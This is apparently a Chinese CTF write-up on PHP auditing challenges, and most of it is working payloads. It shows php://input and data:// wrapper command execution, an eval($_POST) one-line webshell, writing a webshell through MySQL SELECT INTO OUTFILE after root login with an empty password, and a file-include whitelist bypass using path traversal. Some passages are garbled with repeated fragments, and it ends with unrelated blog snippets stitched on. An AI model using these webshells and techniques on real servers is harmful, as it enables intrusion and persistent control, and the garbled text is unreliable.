考點:考審計php**的基本能力,以及繞開的能力
知識點:
1.兩個函式
①str_replace(「php://」, 「」, $page);替換函式
②strstr($page, 「php://」)查詢函式,即輸出在乙個字串裡面第一次出現的位置(且對大小寫敏感)即繞開了
php://input功能應用 (接受請求的get或者post資料)
2.data協議的用法
3.資料庫寫馬的方法
題目:
方法一:
利用strstr()的敏感大小進行繞過
**
//get中
//post請求中## 標題
<?php
system
("ls");
?>
<?php
system
("cat 路徑的檔名");
?>
//即利用cat命令獲取
方法二:
data://偽協議執行命令利用進行繞過
使用方法:data://text/plain;base64,***x(base64編碼後的資料)
如
<?php
system
("dir"
)?> base64編碼後使用進行
(注意編碼後的+號要url編碼)
方法三:
data://偽協議傳木馬
<?php
eval
($_post
[xiaohua]);
?> base64加密後拼接
//菜刀連線即可
方法四:
資料庫寫入馬,利用資料庫進行
//御劍掃瞄獲得phpmyadmin root 密碼空 進入
//資料庫執行這條命令檢視secure_file_priv是否為空,為空則可以寫資料 如果是null不能寫
show
variables
like
"secure_file_priv"
linux預設tmp是可寫目錄 試試寫入一句話馬 菜刀連線
select
"<?php eval(@$_post
['xiaohua'
]); ?>"
into
outfile
'/tmp/test1.php'
思路:①繞過**審計中的替換即讀取資料的命令
②在post中利用php的命令執行語句進行爆出flag
考點:考php**審計與構造的能力
考php路徑訪問的能力
引數與url中常見的符號理解
知識點:
1.#include檔案包含的定義的漏洞使用類
作用:包含並執行指定的檔案
執行方法:先按照引數的路徑進行尋找,沒有的話在依次刪除路徑
file的引數這個是#include裡面的定義為檔案=路徑;(且檔案開啟還可以考慮用php://input)
2.函式
①in_array($page, $whitelist)即在whitelist中是否存在page這個引數
②mb_substr()函式的理解
mb_substr
($page,0
,mb_strpos
($page
.'?'
,'?'))
;//即引數從0開始返回mb_strpos這麼多的位元組
③mb_strpos():返回要查詢的字串在別乙個字串中首次出現的位置(即返回的位置,strstr返回的是值且是從當時開始的值)
<?php
$str
='';echo
mb_strpos
($str
,'niao');
?>
//輸出結果:14;
④引數的理解
如?file=source.php?(payload)//即引數$page實際為source.php?
做題:
審計**後發現只有當pag
e的引數
構造存在
於page的引數構造存在於
page的參
數構造存
在於whitelist陣列中存在時,才返回 true,否則都是flase
因此可以利用第二個判斷機制構造pag
e=so
urce
.php
?或者page=source.php?或者
page=s
ourc
e.ph
p?或者
page=hint.php
然後又利用#include的實際執行方法進行構造路徑
為?file=source.php?/…/…/…/…/…/…/ffffllllaaaagggg
成功獲取到flag
攻防世界 web(高階區)
瞅瞅高階區的,繼續總結。var t fl s a i e var n a h0l n var r g 得到flag 開啟場景鏈結 你可以瀏覽這個 嗎?no,i can t.檢視原始碼什麼都沒有,後面加上index.php。沒用,加上index.phps phps檔案就是php的源 檔案,通常用於提供...
攻防世界 web高階 leaking
考察 node.js逃逸 參考 不知道咋說,直接抄原始碼 encoding utf 8 import requests import time url response while flag not in response req requests.get url response req.text...
攻防世界 web高階 shrine
開啟之後 看原始碼 import flask import os def index return open file read def shrine shrine def safe jinja s s s.replace replace blacklist config self return j...